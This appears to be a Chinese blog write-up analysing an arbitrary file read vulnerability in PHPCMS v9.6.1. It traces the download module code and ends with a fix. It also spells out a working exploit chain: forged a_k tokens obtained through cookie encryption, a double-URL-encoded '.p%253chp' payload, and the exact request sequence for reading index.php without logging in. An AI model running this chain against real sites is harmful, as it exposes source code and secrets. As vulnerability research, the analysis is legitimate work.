### [讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程](https://www.prosaas.cn/article/469) **Published:** 2020-12-15T09:24:47 **Author:** 5201314 **Excerpt:** PHPCMS使用教程介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘推荐(免费):PHPCMS使用教程看到网… ## PHPCMS使用教程介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘 ![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212114752393.jpg) 推荐(免费):PHPCMS使用教程 看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。 ## 1.准备工作&漏洞关键点快速扫描 ### 1.1前置知识 这里把本次分析中需要掌握的知识梳理了下: 1. php原生parse\_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。 2. 原生empty方法,对字符串""返回true。 3. phpcms中sys\_auth是对称加密且在不知道auth\_key的情况下理论上不可能构造出有效密文。 ### 1.2 快速扫描 先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改: \--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a\_k = sys\_auth($a\_k, 'DECODE', pc\_base::load\_config('system','auth\_key'));                 if(empty($a\_k)) showmessage(L('illegal\_parameters'));                 unset($i,$m,$f); +               $a\_k = safe\_replace($a\_k);^M                 parse\_str($a\_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal\_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal\_parameters'));                 if(empty($f)) showmessage(L('url\_invalid'));                 $allow\_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table\_name = $this->db->db\_tablepre.$MODEL\[$modelid\]\['tablename'\];                 $this->db->table\_name = $tablename.'\_data'; @@ -86,6 +90,7 @@ class down {                 $a\_k = sys\_auth($a\_k, 'DECODE', $pc\_auth\_key);                 if(empty($a\_k)) showmessage(L('illegal\_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a\_k = safe\_replace($a\_k);^M                 parse\_str($a\_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal\_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd\_his').random(3).'.'.$ext; +                               $fileurl = str\_replace(array('<','>'), '',$fileurl);^M                                 file\_down($fileurl, $filename);                         }                 } 主要修改了两个方法`init()`和`download()`,大胆的猜想估计是这两个函数出问题了。 public function init() {         $a\_k = trim($\_GET\['a\_k'\]);         if(!isset($a\_k)) showmessage(L('illegal\_parameters'));         $a\_k = sys\_auth($a\_k, 'DECODE', pc\_base::load\_config('system','auth\_key'));//关键点1         if(empty($a\_k)) showmessage(L('illegal\_parameters'));         unset($i,$m,$f);         $a\_k = safe\_replace($a\_k);//关键点2         parse\_str($a\_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal\_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal\_parameters'));         if(empty($f)) showmessage(L('url\_invalid'));         $allow\_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url\_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc\_auth\_key = md5(pc\_base::load\_config('system','auth\_key').$\_SERVER\['HTTP\_USER\_AGENT'\].'down');             $a\_k = urlencode(sys\_auth("i=$i&d=$d&s=$s&t=".SYS\_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc\_auth\_key));//关键点5             $downurl = '?m=content&c=down&a=download&a\_k='.$a\_k;         } else {             $downurl = $f;                     } }     public function download() {         $a\_k = trim($\_GET\['a\_k'\]);         $pc\_auth\_key = md5(pc\_base::load\_config('system','auth\_key').$\_SERVER\['HTTP\_USER\_AGENT'\].'down');//关键点6         $a\_k = sys\_auth($a\_k, 'DECODE', $pc\_auth\_key);         if(empty($a\_k)) showmessage(L('illegal\_parameters'));         unset($i,$m,$f,$t,$ip);         $a\_k = safe\_replace($a\_k);//关键点7         parse\_str($a\_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal\_parameters'));         if(!isset($modelid)) showmessage(L('illegal\_parameters'));         if(empty($f)) showmessage(L('url\_invalid'));         if(!$i || $m<0) showmessage(L('illegal\_parameters')); if(!isset($t)) showmessage(L('illegal\_parameters')); if(!isset($ip)) showmessage(L('illegal\_parameters')); $starttime = intval($t); if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url\_error'));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg\_match("/\[0-9\]{10}/", $starttime) || !preg\_match("/\[0-9\]{1,3}\\.\[0-9\]{1,3}\\.\[0-9\]{1,3}\\.\[0-9\]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal\_parameters')); $endtime = SYS\_TIME - $starttime; if($endtime > 3600) showmessage(L('url\_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$fileurl) ) showmessage(L('url\_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc\_base::load\_config('system','upload\_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str\_replace(array(pc\_base::load\_config('system','upload\_url'),'/'), array(pc\_base::load\_config('system','upload\_path'),DIRECTORY\_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg\_match("/^(\[\\s\\S\]\*?)(\[\\x81-\\xfe\]\[\\x40-\\xfe\])(\[\\s\\S\]\*?)/", $fileurl)) {                     $filename = str\_replace(array("%5C", "%2F", "%3A"), array("\\\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd\_his').random(3).'.'.$ext;                 $fileurl = str\_replace(array('<','>'), '',$fileurl);//关键点17                 file\_down($fileurl, $filename);//关键点18             }         }     } safe\_replace函数如下 function safe\_replace($string) {     $string = str\_replace('%20','',$string);     $string = str\_replace('%27','',$string);     $string = str\_replace('%2527','',$string);     $string = str\_replace('\*','',$string);     $string = str\_replace('"','"',$string);     $string = str\_replace("'",'',$string);     $string = str\_replace('"','',$string);     $string = str\_replace(';','',$string);     $string = str\_replace('<','<',$string); $string = str\_replace('>','>',$string);     $string = str\_replace("{",'',$string);     $string = str\_replace('}','',$string);     $string = str\_replace('\\\\','',$string);     return $string; } #### 1.2 content/down模块大致流程分析 1. init方法中根据原始的$a\_k(包含了file\_down的文件的基本信息),进行一次验证,并且生成,调用 download方法的url,url的schema为`$downurl='?m=content&c=down&a=download&a_k='.$a_k`(必须符合一定条件。) 1. download方法接收到$a\_k,进行解码,解出文件信息,调用`file_down($fileurl, $filename)`( 必须符合一定条件) 我们来看下file\_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能! function file\_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is\_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob\_get\_length() !== false) @ob\_end\_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; } #### 1.2.1$fileurl变量构造分析 如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换 $fileurl = str\_replace(array('<','>'), '',$fileurl);//关键点17 那么可以想到我们构造出符合`.ph([<>]+)p`的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。 再向上上看 if($m) $fileurl = trim($s).trim($fileurl);//关键点10 变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。 $fileurl = trim($f); $a\_k = safe\_replace($a\_k);//关键点7 parse\_str($a\_k);//关键点8 通过parse\_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a\_k来控制这些变量。 #### 1.2.2$a\_k变量分析 再向上看 $pc\_auth\_key = md5(pc\_base::load\_config('system','auth\_key').$\_SERVER\['HTTP\_USER\_AGENT'\].'down');//关键点6         $a\_k = sys\_auth($a\_k, 'DECODE', $pc\_auth\_key); 这个关键点6很重要,因为这里的$pc\_auth\_key几乎是不可能暴力出来的,然而得到这个加密的$a\_k只有在init()方法中使用了相同的$pc\_auth\_key。所以我们只能通过init()方法来构造$a\_k。 我们现在来看下init方法         $a\_k = trim($\_GET\['a\_k'\]);         if(!isset($a\_k)) showmessage(L('illegal\_parameters'));         $a\_k = sys\_auth($a\_k, 'DECODE', pc\_base::load\_config('system','auth\_key'));//关键点1 这里可以发现sys\_auth的auth竟然是使用系统默认的auth\_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。 #### 1.2.3小结 总结一下: index.php?m=content&c=down&a=init&a\_k=想办法构造出符合条件的。 然后init方法会构造出符合download方法中能够解密的$a\_k。 通过对$a\_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。 ## 2.漏洞挖掘过程 ### 2.1 init方法所接受的$a\_k构造 #### 2.1.1探索正常流程中的$a\_k构造过程 对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。 phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a\_k     function downfile($field, $value) {         extract(string2array($this->fields\[$field\]\['setting'\]));         $list\_str = array();         if($value){             $value\_arr = explode('|',$value);             $fileurl = $value\_arr\['0'\];             if($fileurl) {                 $sel\_server = $value\_arr\['1'\] ? explode(',',$value\_arr\['1'\]) : '';                 $server\_list = getcache('downservers','commons');                 if(is\_array($server\_list)) {                     foreach($server\_list as $\_k=>$\_v) {                         if($value && is\_array($sel\_server) && in\_array($\_k,$sel\_server)) {                             $downloadurl = $\_v\[siteurl\].$fileurl;                             if($downloadlink) {                                 $a\_k = urlencode(sys\_auth("i=$this->id&s=$\_v\[siteurl\]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc\_base::load\_config('system','auth\_key')));                                 $list\_str\[\] = "{$\_v\[sitename\]}";                             } else {                                 $list\_str\[\] = "{$\_v\[sitename\]}";                             }                         }                     }                 }                     return $list\_str;             }         }      } 但是分析发现,content\_input和content\_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。 #### 2.1.2 黑科技构造$a\_k 由于是sys\_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys\_auth进行全文搜索,我们找找有没有符合下列条件的上下文 1. 方式是ENCODE 2. Auth\_key是系统默认的即:pc\_base::load\_config('system','auth\_key') 3. 且待加密内容是可控的(可以是我们$\_REQUEST的数据,或者可以构造的) 4. 加密后的数据有回显的。 共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到 public static function set\_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS\_TIME - 3600 : 0);         $s = $\_SERVER\['SERVER\_PORT'\] == '443' ? 1 : 0;         $var = pc\_base::load\_config('system','cookie\_pre').$var;         $\_COOKIE\[$var\] = $value;         if (is\_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'\['.$k.'\]', sys\_auth($v, 'ENCODE'), $time, pc\_base::load\_config('system','cookie\_path'), pc\_base::load\_config('system','cookie\_domain'), $s);             }         } else {             setcookie($var, sys\_auth($value, 'ENCODE'), $time, pc\_base::load\_config('system','cookie\_path'), pc\_base::load\_config('system','cookie\_domain'), $s);         }     }     public static function get\_cookie($var, $default = '') {         $var = pc\_base::load\_config('system','cookie\_pre').$var;         return isset($\_COOKIE\[$var\]) ? sys\_auth($\_COOKIE\[$var\], 'DECODE') : $default;     } param::set\_cookie param::get\_cookie 对cookie加密是使用默认的auth\_key的。 马上对set\_cookie进行全文搜索,并且查找符合下列条件的上下文。 1. set\_cookie的内容是可控的。 2. set\_cookie的触发条件尽可能的限制小。 一共找到122个匹配项,找到了两个比较好的触发点。 phpcms/moduels/attachment/attachments.php中的swfupload\_json/swfupload\_del方法和phpcms/modules/video/video.php中的swfupload\_json/del方法 video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。 我们来看下swfupload\_json     public function swfupload\_json() {         $arr\['aid'\] = intval($\_GET\['aid'\]);         $arr\['src'\] = safe\_replace(trim($\_GET\['src'\]));         $arr\['filename'\] = urlencode(safe\_replace($\_GET\['filename'\]));         $json\_str = json\_encode($arr);         $att\_arr\_exist = param::get\_cookie('att\_json');         $att\_arr\_exist\_tmp = explode('||', $att\_arr\_exist);         if(is\_array($att\_arr\_exist\_tmp) && in\_array($json\_str, $att\_arr\_exist\_tmp)) {             return true;         } else {             $json\_str = $att\_arr\_exist ? $att\_arr\_exist.'||'.$json\_str : $json\_str;             param::set\_cookie('att\_json',$json\_str);             return true;                     }     } 我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。 我们注册个用户登录之后,调用 index.php?m=attachment&c=attachments&a=swfupload\_json&aid=1&src=fobnn 产生的数据会是 {"aid":888,"src":"fobnn","filename":""} 然后我们得到response.header中的set-cookie \["att\_json"\]。 1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7\_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz 我们修改下down.php->init方法,把DECODE之后的$a\_k输出来。 然后我们调用 index.php?m=content&c=down&a=init &a\_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7\_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz 激动人心,init方法成功DECODE了$a\_k 好了目前验证了我们的想法可行,接下来应该构造可用的payload了。 ### 2.2 json和parse\_str 目前要解决的就是 从json中parse\_str并且能够解析出$i,$m,$f等变量。 {"aid":888,"src":"fobnn=q&p1=12312","filename":""} 解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""} 说明parse\_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如 {"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""} 那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。 ### 2.3 构造符合init方法的$a\_k 我们先构造一个符合init方法的$a\_k使得能完成正常的流程。         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal\_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal\_parameters'));         if(empty($f)) showmessage(L('url\_invalid'));         $allow\_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid); 构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。 index.php?m=attachment&c=attachments&a=swfupload\_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d 得到 3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1\_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""} 然后提交 index.php?m=content&c=down&a=init &a\_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1\_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ 成功!页面已经生成了调用download方法的url                    ### 2.4绕过限制构造最终payload 目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中 if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url\_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc\_auth\_key = md5(pc\_base::load\_config('system','auth\_key').$\_SERVER\['HTTP\_USER\_AGENT'\].'down');     $a\_k = urlencode(sys\_auth("i=$i&d=$d&s=$s&t=".SYS\_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc\_auth\_key));     $downurl = '?m=content&c=down&a=download&a\_k='.$a\_k;     } else {         $downurl = $f;                 } 对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\\" 还好我们看到download函数中 if($m) $fileurl = trim($s).trim($fileurl);//关键点10 我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a\_k的构造。 在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。 //常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url\_error'));     $fileurl = trim($f); 通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php if($m) $fileurl = trim($s).trim($fileurl); if(preg\_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$fileurl) ) showmessage(L('url\_error'));         //远程文件 好在快速扫描中看到的 $fileurl = str\_replace(array('<','>'), '',$fileurl);//关键点17 另外又看到 if($d == 0) {     header("Location: ".$fileurl); #### 2.4.1 urlencode编码“<>” 那么构造出 d=1&m=1&f=.p 最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p 由于safe\_replce的存在所以`<`会被过滤掉,前置知识中我已经说到parse\_str会自动encode一次。 所以可以构造 d=1&m=1&f=.p%3chp&s=index 我们发现在init方法中会safe\_replace一次,和parse\_str一次。 那么最终编码到download $a\_k中的数据实际还是<,而download方法中也会safe\_replace和parse\_str一次。 所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造 d=1&m=1&f=.p%253chp&s=index 当然要读取别的目录的,那同样对目录路径进行编码。 ### 2.4.2最终payload 以读取首页index.php为例 pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload\_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d 8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91\_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd\_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""} index.php?m=content&c=down&a=init&a\_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91\_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd\_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ index.php?m=content&c=down&a=download&a\_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx\_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY 最终提示下载文件,文件下载成功,打开来看确实是index.php内容。 ### 2.5绕过attachment模块权限限制完成无限制利用 class attachments { private $att\_db; function \_\_construct() { pc\_base::load\_app\_func('global'); $this->upload\_url = pc\_base::load\_config('system','upload\_url');         $this->upload\_path = pc\_base::load\_config('system','upload\_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $\_SESSION\['userid'\] ? $\_SESSION\['userid'\] : (param::get\_cookie('\_userid') ? param::get\_cookie('\_userid') : sys\_auth($\_POST\['userid\_flash'\],'DECODE'));         $this->isadmin = $this->admin\_username = $\_SESSION\['roleid'\] ? 1 : 0;         $this->groupid = param::get\_cookie('\_groupid') ? param::get\_cookie('\_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please\_login','','member'));         }     } 可以发现 sys\_auth($\_POST\['userid\_flash'\],'DECODE') 可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH\_KEY加密的。 全文找下无限制可以set\_cookie的,发现WAP模块可以利用 pc\_base::load\_sys\_class('format', '', 0); class index {     function \_\_construct() {                 $this->db = pc\_base::load\_model('content\_model');         $this->siteid = isset($\_GET\['siteid'\]) && (intval($\_GET\['siteid'\]) > 0) ? intval(trim($\_GET\['siteid'\])) : (param::get\_cookie('siteid') ? param::get\_cookie('siteid') : 1);         param::set\_cookie('siteid',$this->siteid);             $this->wap\_site = getcache('wap\_site','wap');         $this->types = getcache('wap\_type','wap');         $this->wap = $this->wap\_site\[$this->siteid\];         define('WAP\_SITEURL', $this->wap\['domain'\] ? $this->wap\['domain'\].'index.php?' : APP\_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap\['status'\]!=1) exit(L('wap\_close\_status'));     } 没有任何条件限制我们可以$\_GET\['siteid'\]来控制param::set\_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。 ## 3.EXP编写 流程如下: 1. index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。 2. 访问index.php?m=attachment&c=attachments&a=swfupload\_json&aid=1 &src=想要读取文件的payload,并且访问的时候设置post字段userid\_flash为步骤一获取的cookie. 响应成功之后,获取名称为att\_json的cookie 1. 访问index.php?m=content&c=down&a=init&a\_k=获取到的att\_json,来构造最终漏洞利用路径, 可以直接截取生成的$a\_k 1. 访问index.php?m=content&c=download&a=init&a\_k=截取的$a\_k.完成利用。 ## 4.修复方案 init方法中的$a\_k 加解密sys\_auth不要采用默认密钥。 file\_down之前对$fileurl再做一次过滤。 以上就是讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程的详细内容,更多请关注知企PROSAAS其它相关文章! **Tags:** Cookie, json, php, PHPCMS, this, 字符串 **Categories:** PHPCMS ---